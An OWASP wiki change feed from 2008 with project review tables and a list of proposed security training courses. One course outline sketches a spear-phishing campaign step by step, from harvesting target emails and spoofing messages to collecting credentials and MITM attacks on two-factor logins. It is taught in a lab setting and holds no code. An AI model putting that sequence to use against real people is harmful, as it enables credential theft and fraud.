 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications#Python Static Analysis|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
There has been no new update since the last review according to http://code.google.com/p/owasp-python-static-analysis/source/list.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications#Python Static Analysis|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
No change since last review.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
No change since last review.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
No. The project is qualified for Alpha release.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
No installer.&lt;br /&gt;
No documents.&lt;br /&gt;
No About box.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
Beta quality has not been reached.&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
No change since last review in September.&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Testing_Guide_3.0_-_Final_Review_-_First_Reviewer_-_D&amp;diff=43581</id>
		<title>Project Information:template Testing Guide 3.0 - Final Review - First Reviewer - D</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Testing_Guide_3.0_-_Final_Review_-_First_Reviewer_-_D&amp;diff=43581"/>
				<updated>2008-10-18T02:48:10Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Testing Guide 3.0|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Testing Project v3 Roadmap|OWASP Testing Project V3.0 Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Testing Project v3 Roadmap|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
The project has completed all its tasks.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Testing Project v3 Roadmap|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
100%&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
A PDF file would be highly appreciated.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
None&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
None&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
There is not yet any presentation on v3. There is not yet a PDF book. These are all to be completed before the EU Summit 2008.&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_EU_Summit_2008_Training_(Courses_to_be_Approved)&amp;diff=40247</id>
		<title>OWASP EU Summit 2008 Training (Courses to be Approved)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_EU_Summit_2008_Training_(Courses_to_be_Approved)&amp;diff=40247"/>
				<updated>2008-09-17T03:25:20Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: add Linux Software Exploitation course&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The courses listed on this page are to be approved by OWASP Board.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Source Code Review==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Eoin Keary and Daniel Cuthbert&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Advanced Phishing and Social Engineering Training==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Joshua Perrymon&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
1 day&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
This class is designed to illustrate hands-on methods used in the real world attacking the human layer. This includes a focus on spear-phishing using the newly introduced OWASP phishing framework (LUNKER). Attendees will identify target emails using a variety of methods, identify potential phish sites, create a spoofed email and send the attack all in a locally ran test environment in Vmware or LiveCD.&lt;br /&gt;
&lt;br /&gt;
Upon completion of this course, attendees will have an in-depth understanding of the latest techniques used to perform these type of attacks. The class will also include additional social engineering attack methods such as impersonation, authority attacks, pre-text attacks, and much more.  Advanced topics such as Email Payloads and  2nd Factor token MITM attacks will be covered as well.&lt;br /&gt;
&lt;br /&gt;
1. Introduction to Social Engineering&lt;br /&gt;
&lt;br /&gt;
2. Understanding the Human Aspect of Security&lt;br /&gt;
&lt;br /&gt;
3. Review of aggressively vertical hacking methodology&lt;br /&gt;
&lt;br /&gt;
4. Analysis of attack trending over the years (Up the OSI Model)&lt;br /&gt;
&lt;br /&gt;
5. Review of public Social Engineering Attacks in the media&lt;br /&gt;
&lt;br /&gt;
6. Hands on: Spear Phishing Demo using the Lunker Framework&lt;br /&gt;
     a. Understanding the Social Engineering Scope of work&lt;br /&gt;
     b. Setup Client Info&lt;br /&gt;
     c. Gather Email addresses/targets&lt;br /&gt;
     d. Identify potential phishing sites&lt;br /&gt;
     e. Creation of spoofed emails&lt;br /&gt;
         i. Custom footers&lt;br /&gt;
         ii. Attack Scenarios&lt;br /&gt;
         iii. Email header options&lt;br /&gt;
&lt;br /&gt;
f. Test Environment: Review the spoofed email and phishing site&lt;br /&gt;
&lt;br /&gt;
g. Send attack&lt;br /&gt;
&lt;br /&gt;
h. Monitor: Discuss steps to take at this point once the users send in credentials.&lt;br /&gt;
&lt;br /&gt;
i. Advanced Phishing Attacks: Recon, XSS/CSRF/Browser Exploit/Trojan payloads&lt;br /&gt;
&lt;br /&gt;
j. MITM Attacks on 2-factor Authentication&lt;br /&gt;
&lt;br /&gt;
k. Summary&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Web server/services hardening using SELinux ==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Pavol Luptak&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
1 day&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Security-Enhanced Linux (SELinux) is a FLASK implementation integrated in the Linux kernel with a number of utilities designed to provide mandatory access controls (MAC) through the use of Linux Security Modules (LSM) in the Linux kernel. SELinux generally supports many kinds of mandatory access control policies, including those based on the concepts of type enforcement, role-based access control, and multi-level security. &lt;br /&gt;
&lt;br /&gt;
A Linux kernel integrating SELinux enforces mandatory access control policies that confine user programs and system servers to the minimum amount of privilege they require to do their jobs. This reduces or eliminates the  ability of these programs and daemons to cause harm when compromised (via buffer overflows or misconfigurations, for example). This confinement  mechanism operates independently of the traditional Linux access control  mechanisms. It has no concept of a &amp;quot;root&amp;quot; super-user, and does not share the  well-known shortcomings of the traditional Linux security mechanisms (such as a dependence on setuid/setgid binaries).&lt;br /&gt;
&lt;br /&gt;
This training provides basic concepts of SELinux, its differences to classical UNIX/Linux systems, describe security advantages of mandatory access control policies and teach how to effectively and rapidly configure a fully functional LAMP environment on SELinux system.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
1. SELinux history&lt;br /&gt;
&lt;br /&gt;
2. Unix/Linux DAC (Discretionary Access Control) and its problems&lt;br /&gt;
&lt;br /&gt;
3. MAC (Mandatory Access Control)&lt;br /&gt;
&lt;br /&gt;
4. Advantages of using MAC &lt;br /&gt;
&lt;br /&gt;
5. DTE (Domain Type Enforcement) model&lt;br /&gt;
&lt;br /&gt;
6. RBAC (Roles Based Access Control) model&lt;br /&gt;
&lt;br /&gt;
7. MLS (Multi Level Security) model&lt;br /&gt;
&lt;br /&gt;
8. SELinux FLASK Architecture&lt;br /&gt;
&lt;br /&gt;
9. SELinux policy (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
10. File System Security Contexts (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
11. SELinux Object Classes and Permissions&lt;br /&gt;
&lt;br /&gt;
12. TE (Type Enforcement) Rules (Attributes, Type Declaration, Type Transitions, Domain Type Transitions, Object Labeling Transitions, Access Vectors)&lt;br /&gt;
&lt;br /&gt;
13. Understanding AVC, log messages&lt;br /&gt;
&lt;br /&gt;
14. audit2allow and audit2why (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
15. SELinux Troubleshoot Tool (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
16. Auditing and Auditing tools&lt;br /&gt;
&lt;br /&gt;
17. Policy Macros&lt;br /&gt;
&lt;br /&gt;
18. Backtracking rule (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
19. SELinux Users, Roles, MLS Levels&lt;br /&gt;
&lt;br /&gt;
20. Strict Policy&lt;br /&gt;
&lt;br /&gt;
21. Targeted Policy&lt;br /&gt;
&lt;br /&gt;
22. SELinux Booleans and their use for Apache web server (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
23. Files and Directories in Targeted Policy, common SELinux Macros (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
24. Analyzing Example Policy - apache.te (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
25. Assigning Object and Process Types &lt;br /&gt;
&lt;br /&gt;
26. SELinux Booting&lt;br /&gt;
&lt;br /&gt;
27. Copying and moving files, checking security contexts, relabeling a file and directory's security context (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
28. Policy core utilities&lt;br /&gt;
&lt;br /&gt;
29. Managing File Labeling, Relabeling a File System (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
30. SELinux Administrator GUI (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
31. SELinux Modules (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
32. Hardening existing LAMP environments using SELinux (EXERCISE)&lt;br /&gt;
&lt;br /&gt;
33. Writing New Policy for a Daemon (EXERCISE for clever students)&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Java Secure Programming==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Lucas Ferreira&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This training class will present best practices of secure programming in the Java language. It includes Java specific practices (i.e. how to avoid problems that arise from the compilation of Java source code to the bytecode language used by the JVM) and practices that may arise in other programming languages (with exemples in Java). Some tools that may be used to verify the security of Java code and systems will be demonstrated.&lt;br /&gt;
&lt;br /&gt;
The topics include a quick overview of the OWASP Top 10, in order to contextualize the practices presented, and several best practices aimed at the different software layers. At the presentation layer, we focus on input validation, access control issues and dealing with exceptions. At the business objects layer, the practices deal with cloning and serialization issues. Practices to prevent command injection are presented at the persistence layer. Practices that should be used throughout all the software are also presented, including inputa data validation, class and method visibility, using and storing secrets, dealing with inner classes, overflows and boxing, and object initialization.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Advanced Web Application Penetration Testing ==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Leading, Planning, and Executing an Application Security Initiative==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Foundations of Web Application Security==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Secure Coding .NET Web Applications==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Building Secure Rich Internet Applications==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== Web Application Security - Advanced Attacks and Defense==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Aspect Security&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Course Specifics'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here. (i.e. bring your own laptop)&lt;br /&gt;
&lt;br /&gt;
== What Developers Should Know on Web Application Security==&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Sebastien Deleersnyder&lt;br /&gt;
&lt;br /&gt;
'''Duration'''&lt;br /&gt;
&lt;br /&gt;
Please enter the text here.&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Application security is an essential component of any successful project; this includes web applications, open source PHP applications, web services and proprietary business web sites.&lt;br /&gt;
Web application security education and awareness is needed throughout the entire development and deployment organization. Each area and level of development or deployment organizations have specific needs and requirements regarding web application security education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience.&lt;br /&gt;
&lt;br /&gt;
The OWASP Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences.&lt;br /&gt;
This Education Track provides in a 4 hour session covering what developers should know on web application security. It starts with an explanation of web application security and why it is important. Then the OWASP Top 10 is used to explain the nastiest vulnerabilities and how these can be prevented or re mediated. A secure coding initiative must deal with all stages of a program’s life cycle. Secure web applications are only possible when a secure SDLC is used. The SDLC is explained from the standpoint of people, processes and tools. Particularly for developers good secure development practices are covered in a separate topic. Finally the track finishes with an exhaustive list of web application security resources for web application developers.&lt;br /&gt;
&lt;br /&gt;
'''Audience'''&lt;br /&gt;
&lt;br /&gt;
Web application developers who are unaware there are security issues with contemporary web applications. No prior knowledge of web application security is assumed nor necessary. This track is independent of the coding language or web frameworks used; like PHP, JSF, Java EE or .NET. We must realize that web application developers are only one link - albeit an important one - of the chain that represents the security of a web application. This track aims to make that link as secure as possible, given the constraint of 4 hours. Another important aspect is that web application security should be tailored to the risk profile of an organization and the specific development environment of that organization.&lt;br /&gt;
&lt;br /&gt;
'''Table of Contents'''&lt;br /&gt;
&lt;br /&gt;
The challenge is to cover web application security in 4 hours to a web application developer. This is presented in such a way that the developers will be able to recognize and correct web application vulnerabilities in their projects. &lt;br /&gt;
&lt;br /&gt;
* [[Education Module Why WebAppSec Matters|Why WebAppSec matters]] (20 min) ([http://www.owasp.org/images/5/58/Education_Module_Why_WebAppSec_Matters.ppt direct link])&lt;br /&gt;
:This part is the introduction of the track. It identifies the current security problems with web applications. During the introduction a definition of web application security is given. Trends that are influencing the current state of web application insecurity are also explained.&lt;br /&gt;
:*What goes wrong&lt;br /&gt;
:*WebAppSec Defined&lt;br /&gt;
:*Current trends&lt;br /&gt;
